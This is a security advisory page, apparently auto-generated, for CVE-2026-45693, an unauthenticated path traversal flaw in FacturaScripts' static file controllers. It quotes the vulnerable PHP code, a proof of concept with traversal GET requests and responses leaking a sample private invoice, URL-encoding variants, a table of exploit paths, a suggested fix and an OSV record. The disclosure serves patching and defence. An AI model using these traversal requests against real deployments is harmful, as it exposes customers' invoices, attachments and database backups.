CVE-2026-45693: FacturaScripts Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-cv65-7cg8-r623
CVSS 7.5
CWE-22
Published
Advisory Summary

CVE-2026-45693 is a HIGH (CVSS 7.5) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting FacturaScripts libraries in the Packagist ecosystem. The issue involves unauthenticated path traversal in static file controllers reads private myfiles documents. Remediation is available in the latest vendor maintenance releases.

CVE-2026-45693 at a Glance

CVE Identifier CVE-2026-45693
GHSA Identifier GHSA-cv65-7cg8-r623
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product FacturaScripts
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-45693

To remediate this vulnerability, upgrade all affected FacturaScripts dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

facturascripts/facturascripts fixed: Latest secure release
Upgrade facturascripts/facturascripts to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for facturascripts/facturascripts

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-45693, inspect your project dependencies for FacturaScripts:

inspect dependencies for facturascripts/facturascripts

Analyze the terminal output to locate any version of FacturaScripts in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In FacturaScripts, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The static file controllers in FacturaScripts decide whether a request is authorized by looking at the URL string instead of the canonical filesystem path. A request that starts with an allow-listed folder name but contains a `../` segment in the middle ends up serving a file from a different directory than the one the URL pretended to point at. This makes any file inside the FacturaScripts installation readable without authentication as long as the file's extension is on the controllers' allow-list (`pdf`, `xlsx`, `docx`, `csv`, `sql`, `zip`, `xml`, `json`, `xsig`, etc.). In practice this leaks the documents the application is specifically designed to protect: customer invoices, supplier invoices, document attachments and database backups stored under `MyFiles/Private/` and other non-public subfolders. The two vulnerable controllers are `Core/Controller/Files.php` (used by the `/Plugins/*`, `/Core/Assets/*`, `/Dinamic/Assets/*` and `/node_modules/*` routes) and `Core/Controller/Myfiles.php` (used by `/MyFiles/*`). Both share the same root cause: a `strpos()` / `substr()` prefix check on the raw URL is treated as proof that the resolved file lives inside an authorized directory. The `/Plugins/*` route via `Files.php` is the cleanest exploit path because `Plugins/` is part of every FacturaScripts installation, so no precondition is required. The `/MyFiles/*` route via `Myfiles.php` is a second path with the same root cause: when the URL starts with `/MyFiles/Public/`, the controller exits early and skips the per-file `myft` token check, which can be combined with `../` to read tokenless files outside `Public/`. Tested live on commit `de01369` (master, 2026-05-11) and on tag `v2026.2`, with PHP 8.0.30 on Apache 2.4.56. ### Details #### Path 1, in `Core/Controller/Files.php` `Files::__construct` concatenates the project folder with the request URL and then runs two safety checks before serving the file: ```php $this->filePath = Tools::folder() . $url; if (false === is_file($this->filePath)) { throw new KernelException('FileNotFound', ...); } if (false === $this->isFolderSafe($url)) { throw new KernelException('UnsafeFolder', $url); } if (false === $this->isFileSafe($this->filePath)) { throw new KernelException('UnsafeFile', $url); } ``` `isFolderSafe()` only inspects the URL string: ```php public static function isFolderSafe(string $filePath): bool { $safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles/Public']; foreach ($safeFolders as $folder) { if ('/' . $folder === substr($filePath, 0, 1 + strlen($folder))) { return true; } } return false; } ``` For a request like `/Plugins/../MyFiles/Private/invoice-2026-001.pdf`, `substr($url, 0, 8)` equals `/Plugins`, so `isFolderSafe()` returns `true`. The filesystem layer then resolves the `..` segment when `is_file()` runs, so the actual file opened is `/MyFiles/Private/invoice-2026-001.pdf`. `isFileSafe()` only checks the trailing extension, which is `pdf` and on the allow-list, so the file is served. #### Path 2, in `Core/Controller/Myfiles.php` The dedicated MyFiles handler resolves the path with `urldecode()` and reproduces the same prefix-based logic to decide whether the per-file `myft` token is required: ```php $this->filePath = Tools::folder() . urldecode($url); if (false === is_file($this->filePath)) { throw new KernelException('FileNotFound', ...); } if (false === $this->isFileSafe($this->filePath)) { throw new KernelException('UnsafeFile', $url); } // if the folder is MyFiles/Public, then we don't need to check the token if (strpos($url, '/MyFiles/Public/') === 0) { return; } $fixedFilePath = substr(urldecode($url), 1); $token = filter_input(INPUT_GET, 'myft'); if (empty($token) || false === MyFilesToken::validate($fixedFilePath, $token)) { throw new KernelException('MyfilesTokenError', $fixedFilePath); } ``` A request to `/MyFiles/Public/../Private/invoice-2026-001.pdf` satisfies `strpos($url, '/MyFiles/Public/') === 0`, so the controller returns early and skips `myft` token validation. The `..` segment is then resolved by `is_file()` and `readfile()` against the real filesystem path inside `MyFiles/Private/`. This second path is only exploitable when a `MyFiles/Public/` directory exists on disk, which is the case in any installation that has ever published a public asset (company logo, theme file, plugin static resource). #### Why this is not the documented "Public folder" behaviour `MyFiles/Public/` is intentionally tokenless for assets that live inside it, and that part is by design. The behaviour shown here is different: the URL appears to point at `MyFiles/Public/...` but the file ultimately returned lives in `MyFiles/Private/`. The same file (`MyFiles/Private/invoice-2026-001.pdf`) is returned with HTTP 403 (`Invalid token`) when requested directly, and HTTP 200 with the file body when requested through the traversal sequence. The access decision is not consistent with the actual file location, which is the textbook definition of a path traversal flaw. ### PoC The PoC uses one sample invoice planted at `MyFiles/Private/invoice-2026-001-ACME.pdf` (215 bytes) on a fresh install: ``` %PDF-FAKE-CONTENT for FacturaScripts PoC INVOICE: 2026-001 CLIENT: ACME Corporation TAX ID: B-12345678 AMOUNT: EUR 42,000.00 DUE DATE: 2026-06-15 PAID: 2026-05-09 INTERNAL NOTE: confidential customer financial data ``` **Step 1, control.** Direct access without a token is blocked: ```http GET /MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1 Host: 127.0.0.1:8088 ``` ``` HTTP/1.1 403 Forbidden <title>Invalid token.</title> <p>The access token for the file MyFiles/Private/invoice-2026-001-ACME.pdf is invalid or has expired</p> ``` <img width="1584" height="788" alt="01-control-direct-private-file-blocked" src="https://github.com/user-attachments/assets/37d55f79-55ab-4f69-a9e0-827fc39c0b33" /> **Step 2, exploit via `/Plugins/*`.** This is the no-precondition path: ```http GET /Plugins/../MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1 Host: 127.0.0.1:8088 ``` ``` HTTP/1.1 200 OK Content-Length: 215 Content-Type: application/pdf %PDF-FAKE-CONTENT for FacturaScripts PoC INVOICE: 2026-001 CLIENT: ACME Corporation TAX ID: B-12345678 AMOUNT: EUR 42,000.00 DUE DATE: 2026-06-15 PAID: 2026-05-09 INTERNAL NOTE: confidential customer financial data ``` <img width="1585" height="791" alt="02-exploit-path1-plugins-leak" src="https://github.com/user-attachments/assets/bccab788-a369-49bf-84dd-8f2f74addecf" /> The same file that returned 403 in Step 1 is now returned without authentication. `/Core/Assets/*` and `/Dinamic/Assets/*` behave the same way against the same controller; `/Plugins/*` is used here because the folder is guaranteed to exist. **Step 3, exploit via `/MyFiles/Public/*`.** This path also bypasses the `myft` token check: ```http GET /MyFiles/Public/../Private/invoice-2026-001-ACME.pdf HTTP/1.1 Host: 127.0.0.1:8088 ``` ``` HTTP/1.1 200 OK Cache-Control: public, max-age=31536000, immutable Content-Length: 215 Content-Type: application/pdf %PDF-FAKE-CONTENT for FacturaScripts PoC ... ``` <img width="1582" height="789" alt="03-exploit-path2-myfiles-public-token-bypass" src="https://github.com/user-attachments/assets/2f95d0c1-4545-453c-a613-5ed035af7957" /> A quick check shows that several encoding variants of `..` also work: `%2e%2e`, `%2E%2E`, `.%2e`, `///../`. The flaw lives in the prefix check, not in any specific Apache normalization. The file is confirmed present on disk: <img width="1918" height="328" alt="04-lab-evidence-file-on-disk" src="https://github.com/user-attachments/assets/2db5875a-d349-4861-bbdd-8f202eb80d5a" /> #### Affected request paths | URL pattern | Controller | Token required | Result | |---|---|---|---| | `/MyFiles/Private/invoice.pdf` | Myfiles | yes | 403 (control) | | `/Plugins/../MyFiles/Private/invoice.pdf` | Files | n/a | 200 (leak) | | `/Core/Assets/../MyFiles/Private/invoice.pdf` | Files | n/a | 200 (leak) | | `/Dinamic/Assets/../MyFiles/Private/invoice.pdf` | Files | n/a | 200 (leak) | | `/MyFiles/Public/../Private/invoice.pdf` | Myfiles | bypassed | 200 (leak) | ### Impact In a real ERP deployment this exposes the documents that the application is specifically designed to keep behind a per-file token: - Customer and supplier invoices stored under `MyFiles/Private/` - Document attachments uploaded through `WidgetFile` and `DocFilesTrait` (`MyFiles/<filename>`) - Database backups exported with `.sql` - Cached or temporary business data under `MyFiles/Cache/` and `MyFiles/Tmp/` `.php` files are not on the extension allow-list, so the flaw does not lead to remote code execution. Files outside the FacturaScripts installation are rejected by Apache's URI normalization (`AH10244 invalid URI path`), so the leak is bounded to the application directory tree. ### Suggested Fix Both controllers should resolve the requested path to its canonical form with `realpath()` and verify that the canonical path is inside an allow-listed directory before serving the file or skipping the token check. Example for `Files::__construct`: ```php $this->filePath = Tools::folder() . $url; if (false === is_file($this->filePath)) { throw new KernelException('FileNotFound', ...); } $realPath = realpath($this->filePath); $base = realpath(Tools::folder()); if ($realPath === false || strpos($realPath, $base . DIRECTORY_SEPARATOR) !== 0) { throw new KernelException('UnsafeFolder', $url); } $safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles' . DIRECTORY_SEPARATOR . 'Public']; $relative = substr($realPath, strlen($base) + 1); $allowed = false; foreach ($safeFolders as $folder) { if (strpos($relative, $folder . DIRECTORY_SEPARATOR) === 0) { $allowed = true; break; } } if (!$allowed) { throw new KernelException('UnsafeFolder', $url); } ``` The same pattern applies to `Myfiles::__construct`: compare the canonical resolved path against `realpath(Tools::folder() . '/MyFiles/Public')` before skipping the `myft` token check. ### Affected Versions Confirmed on the current `master` branch (commit `de01369`) and on the latest tagged release (`v2026.2`).

CVE-2026-45693 Affected FacturaScripts Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
facturascripts/facturascripts
Packagist
≤ 2026.2

References

Frequently Asked Questions

What is CVE-2026-45693?
CVE-2026-45693 is a security vulnerability in FacturaScripts involving Unauthenticated Path Traversal in Static File Controllers Reads Private MyFiles Documents under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which FacturaScripts versions are affected?
Affected versions include releases prior to current release patches across affected packages: facturascripts/facturascripts.
What version fixes CVE-2026-45693?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is facturascripts/facturascripts affected?
Yes, facturascripts/facturascripts is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-45693?
CVE-2026-45693 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-45693?
CVE-2026-45693 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check Packagist dependencies for CVE-2026-45693?
Run the dependency tree command: 'inspect dependencies for facturascripts/facturascripts'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cv65-7cg8-r623",
  "modified" : "2026-07-14T17:12:56Z",
  "published" : "2026-07-14T17:12:56Z",
  "aliases" : [ "CVE-2026-45693" ],
  "summary" : "FacturaScripts: Unauthenticated Path Traversal in Static File Controllers Reads Private MyFiles Documents",
  "details" : "### Summary\n\nThe static file controllers in FacturaScripts decide whether a request is authorized by looking at the URL string instead of the canonical filesystem path. A request that starts with an allow-listed folder name but contains a `../` segment in the middle ends up serving a file from a different directory than the one the URL pretended to point at. This makes any file inside the FacturaScripts installation readable without authentication as long as the file's extension is on the controllers' allow-list (`pdf`, `xlsx`, `docx`, `csv`, `sql`, `zip`, `xml`, `json`, `xsig`, etc.). In practice this leaks the documents the application is specifically designed to protect: customer invoices, supplier invoices, document attachments and database backups stored under `MyFiles/Private/` and other non-public subfolders.\n\nThe two vulnerable controllers are `Core/Controller/Files.php` (used by the `/Plugins/*`, `/Core/Assets/*`, `/Dinamic/Assets/*` and `/node_modules/*` routes) and `Core/Controller/Myfiles.php` (used by `/MyFiles/*`). Both share the same root cause: a `strpos()` / `substr()` prefix check on the raw URL is treated as proof that the resolved file lives inside an authorized directory.\n\nThe `/Plugins/*` route via `Files.php` is the cleanest exploit path because `Plugins/` is part of every FacturaScripts installation, so no precondition is required. The `/MyFiles/*` route via `Myfiles.php` is a second path with the same root cause: when the URL starts with `/MyFiles/Public/`, the controller exits early and skips the per-file `myft` token check, which can be combined with `../` to read tokenless files outside `Public/`.\n\nTested live on commit `de01369` (master, 2026-05-11) and on tag `v2026.2`, with PHP 8.0.30 on Apache 2.4.56.\n\n### Details\n\n#### Path 1, in `Core/Controller/Files.php`\n\n`Files::__construct` concatenates the project folder with the request URL and then runs two safety checks before serving the file:\n\n```php\n$this->filePath = Tools::folder() . $url;\n\nif (false === is_file($this->filePath)) {\n    throw new KernelException('FileNotFound', ...);\n}\n\nif (false === $this->isFolderSafe($url)) {\n    throw new KernelException('UnsafeFolder', $url);\n}\n\nif (false === $this->isFileSafe($this->filePath)) {\n    throw new KernelException('UnsafeFile', $url);\n}\n```\n\n`isFolderSafe()` only inspects the URL string:\n\n```php\npublic static function isFolderSafe(string $filePath): bool\n{\n    $safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles/Public'];\n    foreach ($safeFolders as $folder) {\n        if ('/' . $folder === substr($filePath, 0, 1 + strlen($folder))) {\n            return true;\n        }\n    }\n    return false;\n}\n```\n\nFor a request like `/Plugins/../MyFiles/Private/invoice-2026-001.pdf`, `substr($url, 0, 8)` equals `/Plugins`, so `isFolderSafe()` returns `true`. The filesystem layer then resolves the `..` segment when `is_file()` runs, so the actual file opened is `/MyFiles/Private/invoice-2026-001.pdf`. `isFileSafe()` only checks the trailing extension, which is `pdf` and on the allow-list, so the file is served.\n\n#### Path 2, in `Core/Controller/Myfiles.php`\n\nThe dedicated MyFiles handler resolves the path with `urldecode()` and reproduces the same prefix-based logic to decide whether the per-file `myft` token is required:\n\n```php\n$this->filePath = Tools::folder() . urldecode($url);\n\nif (false === is_file($this->filePath)) {\n    throw new KernelException('FileNotFound', ...);\n}\nif (false === $this->isFileSafe($this->filePath)) {\n    throw new KernelException('UnsafeFile', $url);\n}\n\n// if the folder is MyFiles/Public, then we don't need to check the token\nif (strpos($url, '/MyFiles/Public/') === 0) {\n    return;\n}\n\n$fixedFilePath = substr(urldecode($url), 1);\n$token = filter_input(INPUT_GET, 'myft');\nif (empty($token) || false === MyFilesToken::validate($fixedFilePath, $token)) {\n    throw new KernelException('MyfilesTokenError', $fixedFilePath);\n}\n```\n\nA request to `/MyFiles/Public/../Private/invoice-2026-001.pdf` satisfies `strpos($url, '/MyFiles/Public/') === 0`, so the controller returns early and skips `myft` token validation. The `..` segment is then resolved by `is_file()` and `readfile()` against the real filesystem path inside `MyFiles/Private/`.\n\nThis second path is only exploitable when a `MyFiles/Public/` directory exists on disk, which is the case in any installation that has ever published a public asset (company logo, theme file, plugin static resource).\n\n#### Why this is not the documented \"Public folder\" behaviour\n\n`MyFiles/Public/` is intentionally tokenless for assets that live inside it, and that part is by design. The behaviour shown here is different: the URL appears to point at `MyFiles/Public/...` but the file ultimately returned lives in `MyFiles/Private/`. The same file (`MyFiles/Private/invoice-2026-001.pdf`) is returned with HTTP 403 (`Invalid token`) when requested directly, and HTTP 200 with the file body when requested through the traversal sequence. The access decision is not consistent with the actual file location, which is the textbook definition of a path traversal flaw.\n\n### PoC\n\nThe PoC uses one sample invoice planted at `MyFiles/Private/invoice-2026-001-ACME.pdf` (215 bytes) on a fresh install:\n\n```\n%PDF-FAKE-CONTENT for FacturaScripts PoC\nINVOICE: 2026-001\nCLIENT: ACME Corporation\nTAX ID: B-12345678\nAMOUNT: EUR 42,000.00\nDUE DATE: 2026-06-15\nPAID: 2026-05-09\nINTERNAL NOTE: confidential customer financial data\n```\n\n**Step 1, control.** Direct access without a token is blocked:\n\n```http\nGET /MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1\nHost: 127.0.0.1:8088\n```\n\n```\nHTTP/1.1 403 Forbidden\n<title>Invalid token.</title>\n<p>The access token for the file MyFiles/Private/invoice-2026-001-ACME.pdf is invalid or has expired</p>\n```\n\n<img width=\"1584\" height=\"788\" alt=\"01-control-direct-private-file-blocked\" src=\"https://github.com/user-attachments/assets/37d55f79-55ab-4f69-a9e0-827fc39c0b33\" />\n\n\n\n\n**Step 2, exploit via `/Plugins/*`.** This is the no-precondition path:\n\n```http\nGET /Plugins/../MyFiles/Private/invoice-2026-001-ACME.pdf HTTP/1.1\nHost: 127.0.0.1:8088\n```\n\n```\nHTTP/1.1 200 OK\nContent-Length: 215\nContent-Type: application/pdf\n\n%PDF-FAKE-CONTENT for FacturaScripts PoC\nINVOICE: 2026-001\nCLIENT: ACME Corporation\nTAX ID: B-12345678\nAMOUNT: EUR 42,000.00\nDUE DATE: 2026-06-15\nPAID: 2026-05-09\nINTERNAL NOTE: confidential customer financial data\n```\n\n<img width=\"1585\" height=\"791\" alt=\"02-exploit-path1-plugins-leak\" src=\"https://github.com/user-attachments/assets/bccab788-a369-49bf-84dd-8f2f74addecf\" />\n\nThe same file that returned 403 in Step 1 is now returned without authentication. `/Core/Assets/*` and `/Dinamic/Assets/*` behave the same way against the same controller; `/Plugins/*` is used here because the folder is guaranteed to exist.\n\n**Step 3, exploit via `/MyFiles/Public/*`.** This path also bypasses the `myft` token check:\n\n```http\nGET /MyFiles/Public/../Private/invoice-2026-001-ACME.pdf HTTP/1.1\nHost: 127.0.0.1:8088\n```\n\n```\nHTTP/1.1 200 OK\nCache-Control: public, max-age=31536000, immutable\nContent-Length: 215\nContent-Type: application/pdf\n\n%PDF-FAKE-CONTENT for FacturaScripts PoC\n...\n```\n\n<img width=\"1582\" height=\"789\" alt=\"03-exploit-path2-myfiles-public-token-bypass\" src=\"https://github.com/user-attachments/assets/2f95d0c1-4545-453c-a613-5ed035af7957\" />\n\n\nA quick check shows that several encoding variants of `..` also work: `%2e%2e`, `%2E%2E`, `.%2e`, `///../`. The flaw lives in the prefix check, not in any specific Apache normalization.\n\nThe file is confirmed present on disk:\n\n\n<img width=\"1918\" height=\"328\" alt=\"04-lab-evidence-file-on-disk\" src=\"https://github.com/user-attachments/assets/2db5875a-d349-4861-bbdd-8f202eb80d5a\" />\n\n\n#### Affected request paths\n\n| URL pattern | Controller | Token required | Result |\n|---|---|---|---|\n| `/MyFiles/Private/invoice.pdf` | Myfiles | yes | 403 (control) |\n| `/Plugins/../MyFiles/Private/invoice.pdf` | Files | n/a | 200 (leak) |\n| `/Core/Assets/../MyFiles/Private/invoice.pdf` | Files | n/a | 200 (leak) |\n| `/Dinamic/Assets/../MyFiles/Private/invoice.pdf` | Files | n/a | 200 (leak) |\n| `/MyFiles/Public/../Private/invoice.pdf` | Myfiles | bypassed | 200 (leak) |\n\n### Impact\n\nIn a real ERP deployment this exposes the documents that the application is specifically designed to keep behind a per-file token:\n\n- Customer and supplier invoices stored under `MyFiles/Private/`\n- Document attachments uploaded through `WidgetFile` and `DocFilesTrait` (`MyFiles/<filename>`)\n- Database backups exported with `.sql`\n- Cached or temporary business data under `MyFiles/Cache/` and `MyFiles/Tmp/`\n\n`.php` files are not on the extension allow-list, so the flaw does not lead to remote code execution. Files outside the FacturaScripts installation are rejected by Apache's URI normalization (`AH10244 invalid URI path`), so the leak is bounded to the application directory tree.\n\n### Suggested Fix\n\nBoth controllers should resolve the requested path to its canonical form with `realpath()` and verify that the canonical path is inside an allow-listed directory before serving the file or skipping the token\n check. Example for `Files::__construct`:\n\n```php\n$this->filePath = Tools::folder() . $url;\n\nif (false === is_file($this->filePath)) {\n    throw new KernelException('FileNotFound', ...);\n}\n\n$realPath = realpath($this->filePath);\n$base = realpath(Tools::folder());\nif ($realPath === false || strpos($realPath, $base . DIRECTORY_SEPARATOR) !== 0) {\n    throw new KernelException('UnsafeFolder', $url);\n}\n\n$safeFolders = ['node_modules', 'vendor', 'Dinamic', 'Core', 'Plugins', 'MyFiles' . DIRECTORY_SEPARATOR . 'Public'];\n$relative = substr($realPath, strlen($base) + 1);\n$allowed = false;\nforeach ($safeFolders as $folder) {\n    if (strpos($relative, $folder . DIRECTORY_SEPARATOR) === 0) {\n        $allowed = true;\n        break;\n    }\n}\nif (!$allowed) {\n    throw new KernelException('UnsafeFolder', $url);\n}\n```\n\nThe same pattern applies to `Myfiles::__construct`: compare the canonical resolved path against `realpath(Tools::folder() . '/MyFiles/Public')` before skipping the `myft` token check.\n\n### Affected Versions\n\nConfirmed on the current `master` branch (commit `de01369`) and on the latest tagged release (`v2026.2`).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "facturascripts/facturascripts"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2026.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cv65-7cg8-r623"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/NeoRazorX/facturascripts"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-14T17:12:56Z",
    "nvd_published_at" : null
  }
}